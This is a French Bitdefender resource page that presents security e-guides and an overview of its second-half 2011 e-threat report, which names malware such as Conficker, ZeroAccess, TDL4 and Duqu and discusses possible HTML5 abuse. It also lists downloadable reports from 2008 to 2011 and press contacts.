Ce document est destiné aux familles et aux seniors et son but est de les aider à naviguer sur le web en toute sécurité et à bien profiter de leurs activités en ligne.

Au premier abord, on pourrait avoir tendance à penser que les seniors sont exposés au cybercrime comme n’importe quels autres utilisateurs inexpérimentés d’Internet, quel que soit leur âge. Cependant, comme cet e-Guide le montre à travers plusieurs études de cas, les internautes aux tempes grisonnantes sont la cible de dangers spécifiques, concernant par exemple le paiement de leur pension, de fallacieuses méthodes de paiement des impôts ou des escroqueries financières. Des exemples, des astuces et des conseils complètent les situations décrites et fournissent aux lecteurs des recommandations utiles pour l’exercice de leurs occupations quotidiennes en ligne.



Guide de prévention de l’accès non autorisé aux données

Comment protéger la propriété intellectuelle et financière des cyber-pirates


Cet e-guide a été conçu pour répertorier les nombreux points sensibles de la sécurité des données de l’entreprise, de l’intégrité physique d’un réseau jusqu’aux mécanismes complexes du cybercrime qui prend les entreprises pour cible (chevaux de Troie visant les données bancaires, phishing, par exemple). Ces informations ont également pour objectif d’expliquer – bien que d’une manière moins détaillée que dans une documentation technique complète – en quoi les caractéristiques des différentes solutions Bitdefender pour particuliers et entreprises peuvent intéresser les administrateurs informatiques.

La consultation de ce document peut se révéler utile dans une démarche visant à décider de la meilleure solution de sécurité pour des réseaux de taille réduite ou moyenne. Son contenu constitue également une base solide pour des recherches comparatives ultérieures sur ce sujet.

Centre de sécurité Bitdefender
Profitez d'Internet en toute sécurité. Cliquez ici si vous souhaitez recevoir les dernières actualités et alertes sur les menaces, les virus et les scams informatiques.

Rapports Bitdefender sur l'état des e-menaces


L’objectif de ce rapport est de fournir les résultats d'une enquête détaillée sur les menaces informatiques actuelles. Les experts en sécurité de Bitdefender® ont analysé et examiné en détail les menaces de chaque semestre, en se concentrant sur les vulnérabilités et exploits des logiciels, les différents types de malwares, mais aussi sur les mesures prises pour les combattre, la prévention contre le cybercrime, et l’application des lois. Ce rapport sur les e-menaces est principalement axé sur les dernières tendances, mais contient aussi des faits et données concernant les périodes d’investigation précédentes, ainsi que quelques prévisions concernant les prochains semestres. Ce document est surtout destiné aux responsables de la sécurité des systèmes d'information, aux administrateurs réseaux, aux développeurs de technologies de sécurité, aux analystes et chercheurs, mais il aborde également des problèmes intéressant une audience plus large, comme les petites entreprises et les particuliers soucieux de la sécurité et de l’intégrité de leurs réseaux et systèmes.

Zoom sur les malwares

Bien que corrigée en 2008, la fonctionnalité de détournement de l’Autorun continue à être la technologie des systèmes Windows la plus exploitée. La famille Autorun est suivie du ver Downadup (Conficker) qui constitue la deuxième emenace la plus destructrice du 2nd semestre 2011. Il est intéressant de noter que ces deux malwares continuent à faire des ravages alors que leur code n’a pas été mis à jour depuis des années et que les gangs de cybercriminels les ayant créés ont très probablement disparu.

Prévisions concernant les emenaces

L’année 2011 a été particulièrement riche en activités malveillantes. Elle a débuté sous le signe des détournements de données et des fuites d’informations en entreprises avec l’émergence de bots extrêmement sophistiqués tels que ZeroAccess et TDL4, et s’est achevée avec Duqu, « le fils de Stuxnet »

L’introduction de HTML5

Ce nouveau langage est actuellement pris en charge par les principaux navigateurs et offre de nouveaux niveaux d’interaction entre l’utilisateur et les sites Web. Si l’amélioration de l’interaction est le principal objectif du lancement d’une version majeure du populaire langage de balisage, les nouvelles fonctionnalités permettront aux cyber-escrocs de concevoir des scams plus efficaces contre les utilisateurs d’Internet via les « Notifications Web », de suivre les victimes avec les données de géolocalisation (en particulier si elles utilisent HTML5 sur leur smartphone) ou même, de lancer des attaques contre d’autres sites directement à partir du navigateur de la victime.

Télécharger Rapport sur les e-menaces au 2nd semestre 2011 (pdf)
Télécharger maintenant le résumé Résumé du rapport sur les e-menaces au second semestre 2011 (pdf)

Archive

2011
Télécharger Résumé du rapport sur les e-menaces au 1er semestre 2011 (pdf)

2010
Télécharger Résumé du rapport sur les e-menaces au 2ème semestre 2010 (pdf)
Télécharger Rapport sur les e-menaces au 2ème semestre 2010 (pdf)
Télécharger Résumé du rapport sur les e-menaces au 1er semestre 2010 (pdf)
Télécharger Rapport sur les e-menaces au 1er semestre 2010 (pdf)

2009
Télécharger Résumé du rapport sur le malware et le spam au 1er semestre 2009 (pdf)
Télécharger Rapport sur les e-menaces au 1er semestre 2009 (pdf)
Télécharger Rapport sur le malware et le spam au 2ème semestre 2009 (pdf)
Télécharger Résumé du rapport sur les e-menaces au 2ème semestre 2009 (pdf)

2008
Télécharger Rapport sur les e-menaces au 1er semestre 2008 (pdf)
Télécharger Rapport sur les e-menaces au 2ème semestre 2008 (pdf)

Centre de sécurité Bitdefender
Profitez d'Internet en toute sécurité. Cliquez ici si vous souhaitez recevoir les dernières actualités et alertes sur les menaces, les virus et les scams informatiques.
Centre de sécurité Bitdefender
Profitez d'Internet en toute sécurité. Cliquez ici si vous souhaitez recevoir les dernières actualités et alertes sur les menaces, les virus et les scams informatiques.

A qui s’adresser ? Vous trouverez ci-dessous la liste de tous nos porte-parole prêts à répondre à chacune de vos questions.



Matt Hicks
Responsable des relations publiques internationales


Andrei Taflan
Coordinateur des relations publiques internationales
Asie- Pacifique & Amérique du Nord


Alina Anton
Coordinateur des relations publiques internationales
Amérique latine & CEMEA (Europe centrale, Moyen-Orient et Afrique)


Jawida Khadda
France, Benelux, Suisse


Centre de sécurité Bitdefender
Profitez d'Internet en toute sécurité. Cliquez ici si vous souhaitez recevoir les dernières actualités et alertes sur les menaces, les virus et les scams informatiques.